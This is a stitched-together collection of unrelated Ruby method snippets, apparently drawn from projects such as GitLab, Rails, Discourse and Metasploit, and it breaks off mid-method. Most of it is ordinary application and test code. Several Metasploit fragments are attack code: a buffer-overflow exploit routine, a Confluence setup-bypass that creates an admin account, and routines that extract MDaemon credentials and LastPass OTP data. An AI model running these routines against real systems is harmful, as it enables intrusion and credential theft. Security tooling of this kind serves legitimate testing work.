      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end


def with_redis(&)
          Redis::QueuesMetadata.with(&) # rubocop:disable CodeReuse/ActiveRecord -- Not active record
        end


def assert_aead_not_decrypted(encryptor, value)
      assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
        encryptor.decrypt_and_verify(value)
      end
    end


def role
    params.require(:role).permit(*self.class.permitted_attributes[:role])
  end


def error_message
        return localized_error_messages[:group_not_root] unless group_is_root?
        return localized_error_messages[:same_organization] if same_organization?
        return localized_error_messages[:permission] unless has_permission?
        return cannot_transfer_users_error unless can_transfer_users?

        nil
      end


def format_stream(tag, es) # for BufferedOutputTestDriver
        if @compress == :gzip
          es.to_compressed_msgpack_stream(time_int: @time_as_integer)
        else
          es.to_msgpack_stream(time_int: @time_as_integer)
        end
      end


def user_merge_to_ref(user, source_sha:, branch:, target_ref:, message:, first_parent_ref:, expected_old_oid: "")
        request = Gitaly::UserMergeToRefRequest.new(
          repository: @gitaly_repo,
          source_sha: source_sha,
          branch: encode_binary(branch),
          target_ref: encode_binary(target_ref),
          user: gitaly_user(user),
          message: encode_binary(message),
          first_parent_ref: encode_binary(first_parent_ref),
          expected_old_oid: expected_old_oid,
          timestamp: Google::Protobuf::Timestamp.new(seconds: Time.now.utc.to_i)
        )

        response = gitaly_client_call(@repository.storage, :operation_service,
          :user_merge_to_ref, request, timeout: GitalyClient.long_timeout)

        response.commit_id
      end


def has_timestamp_prefix?(line)
          # Avoid regex on timestamps for performance
          return unless @has_timestamps && line && line.length >= TIMESTAMP_HEADER_LENGTH

          line[TIMESTAMP_HEADER_DATETIME_LENGTH - 1] == 'Z' &&
            line[4] == '-' && line[7] == '-' && line[10] == 'T' && line[13] == ':'
        end


def transcript_messages
    @transcript_messages ||= conversation.messages.chat.select(&:conversation_transcriptable?)
  end


def set_working_week_days(*days)
  week_days = get_week_days(*days)
  Setting.working_days += week_days
end


def added_big_file
      hunk = "
        --- a/text_file
        +++ b/text_file
      "
      file = diff_file_from_hunk(hunk)
      file.define_singleton_method(:too_large?) { true }
      render(::RapidDiffs::DiffFileComponent.new(diff_file: file))
    end


def rank_to_h
      rank_to_s.gsub('Rank', '').downcase
    end


def draw_route(path)
        if File.exist?(path)
          instance_eval(File.read(path), path.to_s)
          true
        else
          false
        end
      end


def text_content
    @decoded_text_content = mail_content(text_part) || ''

    encoding = @decoded_text_content.encoding

    body = EmailReplyTrimmer.trim(@decoded_text_content)

    return {} if @decoded_text_content.blank? || !text_mail_body?

    @text_content ||= {
      full: mail_content(text_part),
      reply: @decoded_text_content,
      quoted: body.force_encoding(encoding).encode('UTF-8')
    }
  end


def field_hint_message(field_name)
    work_package.derived_progress_hint(field_name)&.message
  end


def render_404(message = nil)
    if message
      render_json_error(message, status: 404)
    else
      raise Discourse::NotFound
    end
  end


def up
    add_concurrent_index :sbom_occurrence_refs,
      :sbom_occurrence_id,
      name: 'idx_sbom_occurrence_refs_on_occurrence_id'
    add_concurrent_foreign_key :sbom_occurrence_refs, :sbom_occurrences, column: :sbom_occurrence_id,
      on_delete: :cascade
  end


def self.check_and_mark_completion(user:, poll:)
    return unless poll.survey.present?
    return unless user.present?

    survey = poll.survey

    # Check if the survey is now completed by the user
    return unless survey.completed_by_user?(user)

    # Mark the survey as completed if it hasn't been marked already
    survey.mark_completed_by_user!(user) unless survey.completion_recorded_for_user?(user)
  end


def jwt_ci_cd_job_token_enabled?
    return true if Feature.enabled?(:ci_job_token_jwt, namespace) && !jwt_ci_cd_job_token_opted_out?

    super
  end


def from_line_index
    from_line - 1
  end


def execute
        project_ids = Set.new

        project_ids.merge(ids_of_projects_in_hierarchy_and_project_shares(@group))
        project_ids.merge(ids_of_projects_in_hierarchy_and_project_shares_of_shared_groups(@group))

        project_ids.to_a
      end


def find_object(project_path:, **args)
        project = Project.find_by_full_path(project_path)

        return unless project

        ::AlertManagement::AlertsFinder.new(current_user, project, args).execute.first
      end


def put(path, opts = {}, &block)     route 'PUT',     path, opts, &block end


def self.sync_from_file(filename)
    attrs = YAML.load_file(filename)
    sync_from_hash(attrs.merge("filename" => filename))
  end


def tracking_user
    auth_user if auth_user.is_a?(User)
  end


def login
    vprint_status('Attempting login')

    cookie_jar.cleanup(true)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'do' => 'login'
      }
    })
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)
      fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")
    end

    print_good('Login successful!')
  end


def initialize(article:, old_subforem_id:, new_subforem_id:)
        @article = article
        @old_subforem_id = old_subforem_id
        @new_subforem_id = new_subforem_id
      end


def resolve_value
    resolve_field(field, object, current_user: user, object_type: owner)
  end


def complete_post_processing_tasks
      process_incident_issues if process_issues?
      send_alert_email if send_email? && notifying_alert?
    end


def self.find_group(group_name)
    group = MiqGroup.where(:description => group_name).first
    abort("MiqGroup  '#{group_name}' not found") if group.nil?
    group
  end


def cmd_download_help
    print_line("Usage: download [src] [dst]")
    print_line
    print_line("Downloads remote files to the local machine.")
    print_line("Only files are supported.")
    print_line
  end


def exploit
    buf = ''
    buf << rand_text_alpha(target['Offset'], payload_badchars)
    buf << [target.ret].pack('V')
    buf << make_nops(20)
    buf << payload.encoded

    print_status("#{rhost}:#{rport} - Sending #{self.name}")
    connect
    send_user(buf)
    handler
    disconnect
  end


def initialize(pattern, collector)
        patterns = pattern.split(/\s+/).map { |str| MatchPattern.create(str) }
        @pattern = if patterns.length == 1
                     patterns[0]
                   else
                     OrMatchPattern.new(patterns)
                   end
        @pattern_str = pattern
        @collector = collector
      end


def _raise_record_not_destroyed
        @_association_destroy_exception ||= nil
        key = self.class.primary_key
        raise @_association_destroy_exception || RecordNotDestroyed.new("Failed to destroy #{self.class} with #{key}=#{id}", self)
      ensure
        @_association_destroy_exception = nil
      end


def include_user_fields?
      @options[:user_custom_field_map].present?
    end


def group_name(reference)
      root_seeder.seed_data.find_reference(reference)["name"]
    end


def render_to_string_and_render
    @stuff = render_to_string plain: "here is some cached stuff"
    render plain: "Hi web users! #{@stuff}"
  end


def add_source_error(field, message)
      field_name = I18n.t("activerecord.attributes.#{source.class.to_s.underscore}.#{field}")
      errors.add(Spree.t(source.class.to_s.demodulize.underscore), "#{field_name} #{message}")
    end


def check_missing_fields(record, field)
    if field["type"].blank?
      record.errors.add(:template, I18n.t("form_templates.errors.missing_type"))
    end
    record.errors.add(:template, I18n.t("form_templates.errors.missing_id")) if field["id"].blank?
  end


def self.call(...)
      new(...).call
    end


def report_mdaemon_cred(creds, port: 0, service: nil)
    # Build service information
    service_data = {
      # address: session.session_host, # Gives internal IP
      address: session.tunnel_peer.partition(':')[0], # Gives public IP
      port: port,
      service_name: 'smtp',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    # Iterate through credentials
    creds.each do |cred|
      # Build credential information
      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        private_type: :password,
        private_data: cred[4],
        username: cred[1],
        module_fullname: fullname
      }
      credential_data.merge!(service_data)
      credential_core = create_credential(credential_data)

      # Assemble the options hash for creating the Metasploit::Credential::Login object
      login_data = {
        core: credential_core,
        status: Metasploit::Model::Login::Status::UNTRIED,
        workspace_id: myworkspace_id
      }

      login_data.merge!(service_data)
      create_credential_login(login_data)

      print_status("    Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
    end

    # report the goods!
    loot_path = store_loot(
      'MDaemon.smtp_server.creds',
      'text/csv',
      session,
      creds.to_csv,
      "mdaemon_#{service}_server_credentials.csv",
      "MDaemon #{service.upcase} Users Credentials"
    )
    print_status("#{service.upcase} credentials saved in: #{loot_path}")
  end


def update_immediate_attributes!
    @status.text         = @options[:text].presence || @options.delete(:spoiler_text) || '' if @options.key?(:text)
    @status.spoiler_text = @options[:spoiler_text] || '' if @options.key?(:spoiler_text)
    @status.sensitive    = @options[:sensitive] || @options[:spoiler_text].present? if @options.key?(:sensitive) || @options.key?(:spoiler_text)
    @status.language     = valid_locale_cascade(@options[:language], @status.language, @status.account.user&.preferred_posting_language, I18n.default_locale)
    @status.quote_approval_policy = @options[:quote_approval_policy] if @options[:quote_approval_policy].present?

    # We raise here to rollback the entire transaction
    raise NoChangesSubmittedError unless significant_changes?

    @status.edited_at = Time.now.utc
    @status.save!
  end


def self.authenticate_with_pam(attributes = {})
      super if Devise.pam_authentication
    end


def test_circular_autosave_does_not_validate_children
    person = Class.new(ActiveRecord::Base) {
      self.table_name = "readers"
      validate :should_be_funny
      def self.name; "Reader"; end

      attribute :catch_phrase, :string
      attribute :reader_id

      has_many :children, autosave: true, anonymous_class: self
      belongs_to :parent, autosave: true, anonymous_class: self

      private
        def should_be_funny
          unless catch_phrase == "funny"
            errors.add :base, "not funny"
          end
        end
    }
    c = person.new(catch_phrase: "boring")
    c.children << c
    c.post_id = 0
    c.person_id = 0
    c.save

    assert_not_predicate c, :persisted?
    assert_not_predicate c, :valid?
  end


def test_parse_partial
    path = ActionView::TemplatePath.parse("foo/_bar")
    assert_equal "foo", path.prefix
    assert_equal "bar", path.name
    assert_predicate path, :partial?
  end


def drop_jobs!(search_metadata, timeout:)
      start_time = monotonic_time
      completed = true
      deleted_jobs = 0

      job_search_metadata =
        search_metadata
          .stringify_keys
          .slice(*ALLOWED_KEYS)
          .transform_keys(&method(:transform_key))
          .compact

      raise NoMetadataError if job_search_metadata.empty?
      raise InvalidQueueError if sidekiq_queues.values.compact.empty?

      Gitlab::Redis::Queues.instances.map do |key, instance|
        queue = sidekiq_queues[key]
        next if queue.nil?

        Sidekiq::Client.via(instance.sidekiq_redis) do
          queue.each do |job|
            if timeout_exceeded?(start_time, timeout)
              completed = false
              break
            end

            next unless job_matches?(job, job_search_metadata)

            job.delete
            deleted_jobs += 1
          end
        end
      end

      {
        completed: completed,
        deleted_jobs: deleted_jobs,
        queue_size: queue_size
      }
    end


def test_form_tag_hidden_helpers_omit_autocomplete_by_default
    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
      actual = form_tag({}, { method: :patch })
      expected = whole_form("http://www.example.com", method: :patch, no_autocomplete: true)
      assert_dom_equal expected, actual
    end
  end


def test_rails_runner_with_file_path_that_does_not_exist
    command_output = run_runner_command("no-file-here.rb", allow_failure: true)

    assert_match(/The file no-file-here.rb could not be found/, command_output)
    assert_equal 1, $?.exitstatus
  end


def profile_image_owner
      user || organization
    end


def self.cached_onebox(url)
    if c = Discourse.cache.read(onebox_cache_key(url))
      c[:onebox]
    end
  rescue => e
    invalidate(url)
    Rails.logger.warn("invalid cached onebox for #{url} #{e}")
    ""
  end


def expire!
      if session_link
        Rails.logger.debug { "Expiring user session for OIDC sid #{oidc_session} due to backchannel request." }
        remove_linked_session!
      else
        Rails.logger.debug { "No session link found for #{oidc_session}." }
      end
    end


def test_preload_with_some_records_already_loaded
    bob_post = posts(:misc_by_bob)
    mary_post = posts(:misc_by_mary)
    bob = bob_post.author
    mary = authors(:mary)

    assert_predicate bob_post.association(:author), :loaded?
    assert_not mary_post.association(:author).loaded?

    assert_queries_count(1) do
      ActiveRecord::Associations::Preloader.new(records: [bob_post, mary_post], associations: :author).call
    end

    assert_no_queries do
      assert_same bob, bob_post.author
      assert_equal mary, mary_post.author
    end
  end


def order(items)
    sort_by = params[:sort].presence || :due_date_asc

    if sort_by_expired_last?(sort_by)
      items.sort_with_expired_last(sort_by)
    else
      items.sort_by_attribute(sort_by)
    end
  end


def puts(*args)
        args.each{ |arg| write(arg + "\n") }
      end


def build_tag_tagging_path(obj, klass)
    unless obj.kind_of?(ActiveRecord::Base) # obj is the id of a classification entry instance
      id = obj
      obj = Classification.find_by(:id => id)
      if obj.nil?
        _log.warn("Unable to find classification with id [#{id}], skipping assignment")
        return nil
      end
    end
    "#{klass.underscore}/tag#{obj.ns}/#{obj.parent.name}/#{obj.name}"
  end


def test_purges_current_environment_database
      old_configurations = ActiveRecord::Base.configurations
      configurations = {
        "development" => { "adapter" => "abstract", "database" => "dev-db" },
        "test"        => { "adapter" => "abstract", "database" => "test-db" },
        "production"  => { "adapter" => "abstract", "database" => "prod-db" },
      }

      ActiveRecord::Base.configurations = configurations

      assert_called_with(
        ActiveRecord::Tasks::DatabaseTasks,
        :purge,
        [ActiveRecord::Base.configurations.configs_for(env_name: "production", name: "primary")]
      ) do
        assert_called_with(ActiveRecord::Base, :establish_connection, [:production]) do
          ActiveRecord::Tasks::DatabaseTasks.purge_current("production")
        end
      end
    ensure
      ActiveRecord::Base.configurations = old_configurations
    end


def read_buffered_property(prop_name)
        if @partial_json_tracker.broken?
          if @done
            return nil if @type_map[prop_name.to_sym].nil?
            return(
              DiscourseAi::Utils::BestEffortJsonParser.extract_key(
                @raw_response,
                @type_map[prop_name.to_sym],
                prop_name,
              )
            )
          else
            return nil
          end
        end

        # Maybe we haven't read that part of the JSON yet.
        return nil if @tracked[prop_name].nil?

        # This means this property is a string and we want to return unread chunks.
        if @property_cursors[prop_name].present?
          unread = @tracked[prop_name][@property_cursors[prop_name]..]
          @property_cursors[prop_name] = @tracked[prop_name].length
          unread
        else
          # Ints and bools, and arrays are always returned as is.
          @tracked[prop_name]
        end
      end


def initialize
        super
        @_inject_enabled = false
        @_inject_hostname_key = nil
        @_inject_hostname = nil
        @_inject_worker_id_key = nil
        @_inject_worker_id = nil
        @_inject_tag_key = nil
        @_inject_time_key = nil
        @_inject_time_formatter = nil
      end


def expect_work_package_not_visible(work_package)
      expect(page)
        .to have_no_content(work_package.subject)
    end


def adding_the_creator_as_owner_in_a_personal_project?
        # this condition is reached during testing setup a lot due to use of `.add_member`
        member.project.personal_namespace_holder?(member.user)
      end


def auth
      # use a dummy password, as explained in the Campfire API doc:
      # https://github.com/basecamp/campfire-api#authentication
      @auth ||= {
        basic_auth: {
          username: token,
          password: 'X'
        }
      }
    end


def exercise_parallelization_regardless_of_machine_core_count(with:, threshold: 0, transactional_fixtures: true)
        file_content = ERB.new(<<-ERB, trim_mode: "-").result_with_hash(with: with.to_s)
          ENV["RAILS_ENV"] ||= "test"
          require_relative "../config/environment"
          require "rails/test_help"

          class ActiveSupport::TestCase
            # Run tests in parallel with specified workers
            parallelize(workers: 2, with: :<%= with %>, threshold: #{threshold})
            self.use_transactional_tests = #{transactional_fixtures}

            # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
            fixtures :all
          end
        ERB

        app_path("test/test_helper.rb") do |file_name|
          File.write(file_name, file_content)
        end
      end


def parse(string, opts = {})
    result = calculate_from_words(cleanup(string, opts), opts)
    !opts[:keep_zero] && result == 0 ? nil : result
  end


def ensure_block_has_source_location(block)
            source_location = yield.split(':')
            block.extend(Module.new { define_method(:source_location) { source_location } })
          end


def lfs_download_object
          LfsDownloadObject.new(oid: lfs_object.oid, size: lfs_object.size, link: lfs_object.link,
            headers: lfs_object.headers)
        end


def self.table(migration)
    create_table migration do |t|
      t.text :type, null: false
      t.text :host, null: false, index: { unique: true }
      t.jsonb :options, null: false, default: {}

      t.timestamps
    end
  end


def signature_text
      signature_data&.fetch(0)
    end


def config_name(service)
    case service
    when :gitaly
      'config.toml'
    when :gitaly2
      'gitaly2.config.toml'
    when :praefect
      'praefect.config.toml'
    end
  end


def initialize(max_progress: nil)
      @max_progress = max_progress

      @skip_count = 0
      @warning_count = 0
      @error_count = 0
      @extra_information = +""

      @base_format = nil
      @progressbar = nil
    end


def test_handles_relative_paths
    get :index, params: { form_path: "post_one" }

    form_token = assert_presence_and_fetch_form_csrf_token

    # This is required because PATH_INFO isn't reset between requests.
    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
    assert_nothing_raised do
      post :post_one, params: { custom_authenticity_token: form_token }
    end
    assert_response :success
  end


def test_only_path
        with_routing do |set|
          set.draw do
            get "home/sweet/home/:user", to: "home#index", as: :home

            ActionDispatch.deprecator.silence do
              get ":controller/:action/:id"
            end
          end

          # We need to create a new class in order to install the new named route.
          kls = Class.new { include set.url_helpers }
          controller = kls.new
          assert_respond_to controller, :home_url
          assert_equal "/brave/new/world",
            controller.url_for(controller: "brave", action: "new", id: "world", only_path: true)

          assert_equal("/home/sweet/home/alabama", controller.home_path(user: "alabama", host: "unused"))
          assert_equal("/home/sweet/home/alabama", controller.home_path("alabama"))
        end
      end


def xrd_link_template_value
      response
        .parsed_body
        .at_xpath('/xrd:XRD/xrd:Link[@rel="lrdd"]/@template', 'xrd' => 'http://docs.oasis-open.org/ns/xri/xrd-1.0')
        .value
    end


def test_fetch_lock_attempt_interrupted_with_cache_invalidation
    cache_fetcher.expects(:sleep).never
    backend.expects(:cas).returns(false).with do |got_key|
      other_cache_fetcher.delete(key)
      key == got_key
    end
    other_client_operations = 1
    assert_memcache_operations(2 + other_client_operations) do # add (lock), get (lock), excludes mocked cas
      assert_equal(:fill_data, cache_fetcher.fetch(key, fill_lock_duration: 0.9) { :fill_data })
    end
    assert_equal(IdentityCache::DELETED, backend.read(key))
  end


def merch_screenshot
        return nil unless raw_data && raw_data["versions"] && raw_data["versions"].first && raw_data["versions"].first["merch"] && raw_data["versions"].first["merch"]["images"].first["image"]["value"]
        raw_data["versions"].first["merch"]["images"].first["image"]["value"]
      end


def test_reap_inactive
        ready = Concurrent::CountDownLatch.new
        @pool.checkout
        child = new_thread do
          @pool.checkout
          @pool.checkout
          ready.count_down
          stop_thread
        end
        pass_to(child) until ready.wait(0)

        assert_equal 3, active_connections(@pool).size

        child.terminate
        child.join
        @pool.reap

        assert_equal 1, active_connections(@pool).size
      ensure
        @pool.connections.each { |conn| conn.close if conn.in_use? }
      end


def send_mention_notification_without_delay(mention)
      return if MentionDecorator.new(mention).mentioned_by_blocked_user?

      Notifications::NewMention::Send.call(mention) if mention
    end


def prepare(params)
          @properties[:keywords] = params[:keywords]
          @properties[:option_value_ids] = build_option_value_ids(params)
          @properties[:price] = get_price_range(params[:price])
          @properties[:search] = params[:search]
          @properties[:sort_by] = params[:sort_by] || 'default'
          @properties[:include_images] = params[:include_images]

          per_page = params[:per_page].to_i
          @properties[:per_page] = per_page > 0 ? per_page : Spree::Config[:products_per_page]
          @properties[:page] = if params[:page].respond_to?(:to_i)
                                 params[:page].to_i <= 0 ? 1 : params[:page].to_i
                               else
                                 1
                               end
          @properties[:product_properties] = params[:properties]
        end


def available?
    User.current.allowed_in_any_work_package?(:manage_work_package_relations)
  end


def self.acts_as_miq_set(model_class = nil)
      include ActsAsMiqSet

      self.model_class = model_class unless model_class.nil?
    end


def test_route_key
    assert_equal "articles", @model_name.route_key
  end


def self.included(klass)
      raise "#{self} can not be included in #{klass} without implementing #current_user" unless klass.method_defined?(:current_user)
    end


def expect_log(type, message)
      expect(Gitlab::IntegrationsLogger)
        .to receive(type).with(
          {
            message: 'response from jira dev_info api',
            integration: 'JiraConnect',
            project_id: project.id,
            project_path: project.full_path,
            jira_response: message&.to_json
          }
        )
    end


def real_inheritance_column=(value) # :nodoc:
        self._inheritance_column = value.to_s
      end


def track_execution_end(worker_name)
            new(worker_name).track_execution_end
          end


def authorize_using_bearer_token!
        # Requested bearer token authorization
        #
        #  If the protected resource uses an OAuth 2.0 bearer token to authorize
        #  its call to the introspection endpoint and the token used for
        #  authorization does not contain sufficient privileges or is otherwise
        #  invalid for this request, the authorization server responds with an
        #  HTTP 401 code as described in Section 3 of OAuth 2.0 Bearer Token
        #  Usage [RFC6750].
        #
        @error = Errors::InvalidToken unless valid_authorized_token?
      end


def region_number
      subscription.provider_region
    end


def diff_files
        strong_memoize(:diff_files) { map(&:raw_diff_file) }
      end


def process(tag, es)
      es = inject_values_to_event_stream(tag, es)
      es.each {|time,record|
        dest_io.write(format(tag, time, record))
      }
      dest_io.flush
    end


def run
    unless client.automotive
      print_error('The hwbridge requires a functional automotive extention')
      return
    end
    stopid = datastore['STARTID']
    stopid = datastore['STOPID'] unless datastore['STOPID'].nil?
    data = '%02X' % datastore['PROBEVALUE']
    (datastore['STARTID']..stopid).each do |id|
      print_status("Probing 0x#{id.to_s(16)}...")
      8.times do |pos|
        padding = '00' * pos
        endpadding = ''
        endpadding = ('%02X' % datastore['PADDING']) * (7 - pos) if !datastore['PADDING'].nil?
        if datastore['FUZZ']
          256.times do |fuzzdata|
            client.automotive.cansend(datastore['CANBUS'], id.to_s(16), padding + ('%02X' % fuzzdata) + endpadding)
          end
        else
          client.automotive.cansend(datastore['CANBUS'], id.to_s(16), padding + data + endpadding)
        end
      end
    end
    print_status('Probe Complete')
  end


def delete_source_branch?
      params.fetch('should_remove_source_branch', @merge_request.force_remove_source_branch?) &&
        @merge_request.can_remove_source_branch?(branch_deletion_user)
    end


def set_missing_keys(defaults)
    defaults.each_with_object({}) do |(key, default), missing|
      next if Rails.application.credentials.public_send(key).present?

      warn_missing_secret(key)

      missing[key] = Rails.application.credentials[key] = default
    end
  end


def process_tags
    return if @object['tag'].nil?

    as_array(@object['tag']).each do |tag|
      if equals_or_includes?(tag['type'], 'Hashtag')
        process_hashtag tag
      elsif equals_or_includes?(tag['type'], 'Mention')
        process_mention tag
      elsif equals_or_includes?(tag['type'], 'Emoji')
        process_emoji tag
      end
    end
  end


def by_source(items)
      return items unless ::Ci::Pipeline.sources.key?(params[:source])

      items.with_pipeline_source(params[:source])
    end


def email
      return unless valid_to_email?

      mail_with_locale(
        to: member.created_by.notification_email_for(member_source.notification_group),
        subject: EmailsHelper.subject_with_prefix_and_suffix(['Invitation accepted'])
      )
    end


def self.sign_in_enabled?
          enabled? && !prevent_ldap_sign_in?
        end


def call(payload, work_packages: [])
          find_or_initialize(payload).tap do |issue|
            issue.update!(work_packages: issue.work_packages | work_packages, **extract_params(payload))
          end
        end


def week_with_all_days_working
  Setting.working_days = Array(1..7)
end


def project_attributes_only = options[:project_attributes_only].present?


def create_temporary_tables
    execute(<<~SQL.squish)
      CREATE UNLOGGED TABLE temp_wp_values
      AS SELECT
        id,
        start_date,
        due_date,
        schedule_manually
      FROM work_packages
    SQL
    execute(<<~SQL.squish)
      CREATE MATERIALIZED VIEW follows_relations
      AS SELECT
        relations.id as id,
        relations.from_id as succ_id,
        COALESCE(wp_pred.due_date, wp_pred.start_date) as pred_date,
        COALESCE(wp_succ.start_date, wp_succ.due_date) as succ_date,
        wp_succ.schedule_manually as succ_schedule_manually
      FROM relations
      LEFT JOIN work_packages wp_pred ON relations.to_id = wp_pred.id
      LEFT JOIN work_packages wp_succ ON relations.from_id = wp_succ.id
      WHERE relation_type = 'follows'
    SQL
    execute("CREATE INDEX ON follows_relations (succ_id)")
  end


def test_sql_injection_chained_call_in_scope
    assert_warning :type => :warning,
      :warning_code => 0,
      :fingerprint => "aa073ab210f9f4a800b5595241a6274656d37087a4f433d4b596516e1227d91b",
      :warning_type => "SQL Injection",
      :line => 6,
      :message => /^Possible\ SQL\ injection/,
      :confidence => 1,
      :relative_path => "app/models/user.rb",
      :user_input => s(:lvar, :col)
  end


def check_regenerate_done
        @backup_codes = flash[:_backup_codes]
        flash.delete :_backup_codes

        unless @backup_codes.present?
          flash[:error] = I18n.t(:notice_bad_request)
          redirect_to my_2fa_devices_path
        end
      end


def render
    write(content_tag(:div, id: "#{filter_class.underscore_name}_arg_1", class: "advanced-filters--filter-value") do
      label = html_label

      selected_values = map_filter_values

      box = angular_component_tag "opce-autocompleter",
                                  inputs: {
                                    filters: [],
                                    InputName: "values[#{filter_class.underscore_name}]",
                                    hiddenFieldAction: "change->reporting--page#selectValueChanged",
                                    multiple: true,
                                    defaultData: true,
                                    model: selected_values.compact,
                                    url: ::API::V3::Utilities::PathHelper::ApiV3Path.work_packages,
                                    resource: "work_packages",
                                    searchKey: "subjectOrId"
                                  },
                                  id: "#{filter_class.underscore_name}_select_1",
                                  class: "filter-value advanced-filters--ng-select"

      content_tag(:span, class: "inline-label") do
        label + box
      end
    end)
  end


def status_cleared?
      params[:emoji].blank? &&
        params[:message].blank? &&
        (new_user_availability.blank? || new_user_availability == UserStatus.availabilities[:not_set])
    end


def is_reply_by_email?
    via_email && post_number.present? && post_number > 1
  end


def wiki_page
      return "" if wiki_page_title.blank? || version.project.wiki.nil?

      helpers.link_to_if_authorized(wiki_page_title,
                                    controller: "/wiki",
                                    action: "show",
                                    project_id: version.project,
                                    id: wiki_page_title) || h(wiki_page_title)
    end


def handle(_type, req, res)
    @request  = req
    @response = res

    @request.path_info =~ /(\w+)\z/
    @action  = Regexp.last_match(1) || 'index'
    @assigns = send(@action) if respond_to?(@action)

    @response['Content-Type'] = "text/html"
    @response.status = 200
    @response.body   = Liquid::Template.parse(read_template).render(@assigns, filters: [ProductsFilter])
  end


def test_assert_enqueued_with_with_no_block_with_global_id_args
      ricardo = Person.new(9)
      HelloJob.perform_later(ricardo)
      assert_enqueued_with(job: HelloJob, args: [ricardo])
    end


def extract_otpbin(browser, username, lp_data)
    if browser.match(/Firefox|IE/)
      if browser == 'Firefox'
        path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'
      else # IE
        path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'
      end
      otpbin = read_remote_file(path) if file?(path) # Read file if it exists
      otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)
      return otpbin
    else # Chrome, Safari and Opera
      db = SQLite3::Database.new(lp_data['lp_db_loot'])
      result = db.execute(
        'SELECT type, data FROM LastPassData ' \
        "WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
      )
      return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')
    end
  end


def packages_class
        if packages_composer_read_from_detached_table?
          ::Packages::Composer::Package
        else
          ::Packages::Composer::Sti::Package
        end
      end


def deletion_in_progress_or_scheduled_in_hierarchy_chain?
      self_deletion_in_progress? || scheduled_for_deletion_in_hierarchy_chain?
    end


def releases_events_data
      release = ReleasesFinder.new(project, current_user, order_by: :created_at, sort: :desc).execute.first

      no_data_error(s_('TestHooks|Ensure the project has releases.')) unless release.present?

      release.to_hook_data('create')
    end


def start
        normalize_dirs!
        @dtw, @missing = [*@dtw, *@missing].partition(&:exist?)
        @listener = @dtw.any? ? Listen.to(*@dtw, &method(:changed)) : nil
        @listener&.start

        # Wait for the listener to be ready to avoid race conditions
        # Unfortunately this isn't quite enough on macOS because the Darwin backend
        # has an extra private thread we can't wait on.
        @listener&.wait_for_state(:processing_events)
      end


def map
      strong_memoize(:map) do
        map = Hash.new { default_user_id }

        cached_source_user_ids.each_pair do |source_id, destination_id|
          map[source_id.to_i] = destination_id.to_i
        end

        map
      end
    end


def update_status
        return if @new_status == @product.status
        return if cannot?(:activate, @product) && @new_status&.to_sym == :active

        event_to_fire = @product.status_transitions.find { |transition| transition.from == @product.status && transition.to == @new_status }&.event
        @product.status_event = event_to_fire if event_to_fire
      end


def decrypt_asn1(ciphertext, key, msg_type)
            result = decrypt(ciphertext, key, msg_type)
            padding_removed = truncate_nulls_after_asn1(result)
          end


def test_parse_without_time_estimate_current_event_false
      text = "tagomori_satoshi tagomoris 34\n"
      conf = {
        'expression' => %q!/^(?<name>[^ ]*) (?<user>[^ ]*) (?<age>\d*)$/!,
        'types' => 'name:string,user:string,age:integer'
      }
      d = create_driver(conf)
      d.instance.estimate_current_event = false
      d.instance.parse(text) { |time, record|
        assert_equal "tagomori_satoshi", record["name"]
        assert_equal "tagomoris", record["user"]
        assert_equal 34, record["age"]

        assert_nil time, "parser returns nil if configured so"
      }
    end


def run
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/server-info.action'),
      'vars_get' => {
        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
      }
    )

    return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200

    print_good('Found server-info.action! Trying to ignore setup.')

    created_user = create_admin_user

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      }
    )

    return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user

    print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200

    create_credential({
      workspace_id: myworkspace_id,
      origin_type: :service,
      module_fullname: fullname,
      username: datastore['NEW_USERNAME'],
      private_type: :password,
      private_data: datastore['NEW_PASSWORD'],
      service_name: 'Atlassian Confluence',
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      protocol: 'tcp',
      status: Metasploit::Model::Login::Status::UNTRIED
    })

    print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
    print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
  end


def init_with(coder) # :nodoc:
      case coder.tag
      when "!ruby/hash:ActionController::Parameters"
        # YAML 2.0.8's format where hash instance variables weren't stored.
        @parameters = coder.map.with_indifferent_access
        @permitted  = false
      when "!ruby/hash-with-ivars:ActionController::Parameters"
        # YAML 2.0.9's Hash subclass format where keys and values were stored under an
        # elements hash and `permitted` within an ivars hash.
        @parameters = coder.map["elements"].with_indifferent_access
        @permitted  = coder.map["ivars"][:@permitted]
      when "!ruby/object:ActionController::Parameters"
